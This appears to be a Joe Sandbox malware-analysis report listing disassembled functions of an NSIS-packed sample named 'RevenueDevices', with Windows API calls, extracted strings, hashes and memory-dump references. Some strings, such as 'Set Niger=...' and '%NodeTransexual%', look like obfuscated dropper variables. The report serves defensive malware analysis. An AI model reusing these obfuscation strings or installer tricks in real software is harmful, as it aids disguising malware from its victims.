Instruction ID: 7cf1fa831aca86d96b8495533088dbe4cf0b0326274ef0a42366eb07f7c747b9
Opcode Fuzzy Hash: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction Fuzzy Hash: C4A1B671544305BAD6207F629D4AF1B3EACAF0070AF15483FF585B61D2DBBC8A448B6E

Function 004074BB Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction ID: b44593247c4c050b0e646bb53675e7b1a8962b0b92449cff70e8ee1879f4dc4f
Opcode Fuzzy Hash: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction Fuzzy Hash: 00F14871908249DBDF18CF28C8946E93BB1FF44345F14852AFD5A9B281D338E986DF86

Function 004062D5 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
FindClose.KERNEL32(00000000), ref: 004062EC

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction ID: 3dd5e1b78c12f0f437ff376ab6b0e1f90f8becb0d3509d6a9a7f52ed6ae53baf
Opcode Fuzzy Hash: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction Fuzzy Hash: 7AD0C9315041205BC25127386E0889B6A589F163723258A7AB5A6E11E0CB388C2296A8

Function 004050CD Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040512F
GetDlgItem.USER32(?,000003EE), ref: 0040513E
GetClientRect.USER32(?,?), ref: 00405196
GetSystemMetrics.USER32(00000015), ref: 0040519E
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051BF
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051D0
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004051E3
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004051F1
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405204
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405226
ShowWindow.USER32(?,00000008), ref: 0040523A
GetDlgItem.USER32(?,000003EC), ref: 0040525B
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040526B
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405280
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040528C
GetDlgItem.USER32(?,000003F8), ref: 0040514D

Part of subcall function 00403D98: SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

GetDlgItem.USER32(?,000003EC), ref: 004052AB
CreateThread.KERNELBASE(00000000,00000000,Function_00005047,00000000), ref: 004052B9
CloseHandle.KERNELBASE(00000000), ref: 004052C0
ShowWindow.USER32(00000000), ref: 004052E7
ShowWindow.USER32(?,00000008), ref: 004052EC
ShowWindow.USER32(00000008), ref: 00405333
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405365
CreatePopupMenu.USER32 ref: 00405376
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040538B
GetWindowRect.USER32(?,?), ref: 0040539E
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053C0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004053FB
OpenClipboard.USER32(00000000), ref: 0040540B
EmptyClipboard.USER32 ref: 00405411
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 0040541D
GlobalLock.KERNEL32(00000000), ref: 00405427
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040543B
GlobalUnlock.KERNEL32(00000000), ref: 0040545D
SetClipboardData.USER32(0000000D,00000000), ref: 00405468
CloseClipboard.USER32 ref: 0040546E

Strings

{, xrefs: 00405352
@rD, xrefs: 004053D7
New install of "%s" to "%s", xrefs: 00405182

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: @rD$New install of "%s" to "%s"${
API String ID: 2110491804-2409696222
Opcode ID: f168db28b2c12902a58862b60cbdcc3c6e49ead995c60d9878de2ccec3fe74d8
Instruction ID: 480b9f2609884c7685ddca5963e0cfcc77f9e358d06567921943d8ab7e89b76b
Opcode Fuzzy Hash: f168db28b2c12902a58862b60cbdcc3c6e49ead995c60d9878de2ccec3fe74d8
Instruction Fuzzy Hash: 14B15B70800608FFDB11AFA0DD85EAE7B79EF44355F00803AFA45BA1A0CBB49A519F59

Function 00405479 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054B5
ShowWindow.USER32(?), ref: 004054D2
DestroyWindow.USER32 ref: 004054E6
SetWindowLongW.USER32(?,00000000,00000000), ref: 00405502
GetDlgItem.USER32(?,?), ref: 00405523
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405537
IsWindowEnabled.USER32(00000000), ref: 0040553E
GetDlgItem.USER32(?,00000001), ref: 004055ED
GetDlgItem.USER32(?,00000002), ref: 004055F7
SetClassLongW.USER32(?,000000F2,?), ref: 00405611
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00405662
GetDlgItem.USER32(?,00000003), ref: 00405708
ShowWindow.USER32(00000000,?), ref: 0040572A
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040573C
EnableWindow.USER32(?,?), ref: 00405757
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040576D
EnableMenuItem.USER32(00000000), ref: 00405774
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040578C
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040579F
lstrlenW.KERNEL32(00447240,?,00447240,0046ADC0), ref: 004057C8
SetWindowTextW.USER32(?,00447240), ref: 004057DC
ShowWindow.USER32(?,0000000A), ref: 00405910

Strings

@rD, xrefs: 004057B9

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: @rD
API String ID: 3282139019-3814967855
Opcode ID: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction ID: 0f9b988f21b44e482dc064b3562f20aa73efc2902ac8c6ffeb9ddf27563d0ddb
Opcode Fuzzy Hash: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction Fuzzy Hash: D8C1C371500A04EBDB216F61EE49E2B3BA9EB45345F00093EF551B12F0DB799891EF2E

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNEL32(?,004CB0B0,?,000000E6,0040F0D0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,0040F0D0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

Rename on reboot: %s, xrefs: 00401943
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
CreateDirectory: "%s" (%d), xrefs: 004017BF
CreateDirectory: "%s" created, xrefs: 00401849
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
BringToFront, xrefs: 004016BD
Rename failed: %s, xrefs: 0040194B
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
Call: %d, xrefs: 0040165A
detailprint: %s, xrefs: 00401679
SetFileAttributes: "%s":%08X, xrefs: 0040177B
Aborting: "%s", xrefs: 0040161D
Rename: %s, xrefs: 004018F8
SetFileAttributes failed., xrefs: 004017A1
Sleep(%d), xrefs: 0040169D
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
Jump: %d, xrefs: 00401602

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction ID: b6b48939bc8a7188504c618ab7841b31fdd5898bf24c808f75461ec369738802
Opcode Fuzzy Hash: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction Fuzzy Hash: 0AB1F471A00204ABDB10BF61DD46DAE3B69EF44314B21817FF946B21E1DA7D4E40CAAE

Function 0040592C Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

lstrcatW.KERNEL32(004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0,-00000002,00000000,004D70C8,00403AC1,?), ref: 004059AE
lstrlenW.KERNEL32(00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0), ref: 00405A30
lstrcmpiW.KERNEL32(00462538,.exe,00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000), ref: 00405A43
GetFileAttributesW.KERNEL32(00462540), ref: 00405A4E

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C70A8), ref: 00405AB7
RegisterClassW.USER32(0046AD60), ref: 00405B0A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B22
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B5B

Part of subcall function 00403E95: SetWindowTextW.USER32(00000000,0046ADC0), ref: 00403F30

ShowWindow.USER32(00000005,00000000), ref: 00405B91
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BA2
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BAD
GetClassInfoW.USER32(00000000,RichEdit20A,0046AD60), ref: 00405BBD
GetClassInfoW.USER32(00000000,RichEdit,0046AD60), ref: 00405BCA
RegisterClassW.USER32(0046AD60), ref: 00405BD3
DialogBoxParamW.USER32(?,00000000,00405479,00000000), ref: 00405BF2

Strings

B%F, xrefs: 00405A1F
.exe, xrefs: 00405A3D
@%F, xrefs: 004059F6
RichEd32, xrefs: 00405BA8
_Nb, xrefs: 00405AD1
@rD, xrefs: 00405965
.DEFAULT\Control Panel\International, xrefs: 00405999
Control Panel\Desktop\ResourceLocale, xrefs: 00405972
RichEdit, xrefs: 00405BC4
RichEdit20A, xrefs: 00405BB6, 00405BBB
RichEd20, xrefs: 00405B9D

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$@%F$@rD$B%F$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-1650083594
Opcode ID: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction ID: 271ce27004ef92612bfc9362a6cc74883a37054a4c8cca7c49d128c059fded9a
Opcode Fuzzy Hash: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction Fuzzy Hash: 5E71A370604B04AED721AB65EE85F2736ACEB44749F00053FF945B22E2D7B89D418F6E

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

lstrcatW.KERNEL32(00000000,00000000,%NodeTransexual%,004CB0B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,%NodeTransexual%,%NodeTransexual%,00000000,00000000,%NodeTransexual%,004CB0B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Strings

File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
File: error, user cancel, xrefs: 00401B93
File: error, user abort, xrefs: 00401B53
%NodeTransexual%, xrefs: 00401A53, 00401A5C, 00401A69, 00401A7B, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: error, user retry, xrefs: 00401B40
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
File: error creating "%s", xrefs: 00401AF0
File: wrote %d to "%s", xrefs: 00401BD0

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: %NodeTransexual%$File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"
API String ID: 4286501637-2490022183
Opcode ID: b6a2df31382c61c88927ef82d5f6ae0aba2303a4f2552ab8741c3bf9876e390d
Instruction ID: fe683e2e252f9e2189d7cf48164ff2fe6631720e8c40e43e96375682ff159270
Opcode Fuzzy Hash: b6a2df31382c61c88927ef82d5f6ae0aba2303a4f2552ab8741c3bf9876e390d
Instruction Fuzzy Hash: 9D510871901114BADF10BBB1CD46EAE3A68DF05369F21413FF416B10D2EB7C5A518AAE

Function 00403587 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403598
GetModuleFileNameW.KERNEL32(00000000,004DF0D8,00002004,?,?,?,00000000,00403A47,?), ref: 004035B4

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

GetFileSize.KERNEL32(00000000,00000000,004E30E0,00000000,004CF0B8,004CF0B8,004DF0D8,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00403600

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037C5
Null, xrefs: 0040367E
soft, xrefs: 00403675
Error launching installer, xrefs: 004035D7
Inst, xrefs: 0040366C

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction ID: 97831ba7e8e922ff386f77eab0e0d18630bd2de4bbb47cca7d976ce2c46b30f6
Opcode Fuzzy Hash: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction Fuzzy Hash: 3151D5B1900204AFDB219F65CD85B9E7EB8AB14756F10803FE605B72D1D77D9E808B9C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033E7
GetTickCount.KERNEL32 ref: 00403464
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403491
wsprintfW.USER32 ref: 004034A4
WriteFile.KERNELBASE(00000000,00000000,?,7FFFFFFF,00000000), ref: 004034D3
WriteFile.KERNEL32(00000000,0041F150,?,00000000,00000000,0041F150,?,000000FF,00000004,00000000,00000000,00000000), ref: 0040356A

Strings

X1C, xrefs: 0040343C
... %d%%, xrefs: 0040349E
Set Niger=gMoAEngineer-Hdtv-Register-Usda-Supported-Mount-Soma-Annotation-Guard-lMAAlien-UKWPostposted-Kuwait-Al-Jennifer-Specialists-Expressions-bdPassive-Advertisers-Further-Unsubscribe-Drivers-Disco-lNCompleted-KRuxInjection-Med-HeTft-Crazy-Sh, xrefs: 004033A9
X1C, xrefs: 004033ED

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: ... %d%%$Set Niger=gMoAEngineer-Hdtv-Register-Usda-Supported-Mount-Soma-Annotation-Guard-lMAAlien-UKWPostposted-Kuwait-Al-Jennifer-Specialists-Expressions-bdPassive-Advertisers-Further-Unsubscribe-Drivers-Disco-lNCompleted-KRuxInjection-Med-HeTft-Crazy-Sh$X1C$X1C
API String ID: 651206458-337224829
Opcode ID: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction ID: 0313947f0097750978ec936bbe46de4fad37e772bc1cb17ec77dd8e30cfa9ece
Opcode Fuzzy Hash: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction Fuzzy Hash: 88518D71900219ABDF10DF65AE44AAF7BACAB00316F14417BF900B7290DB78DF40CBA9

Function 00404F72 Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
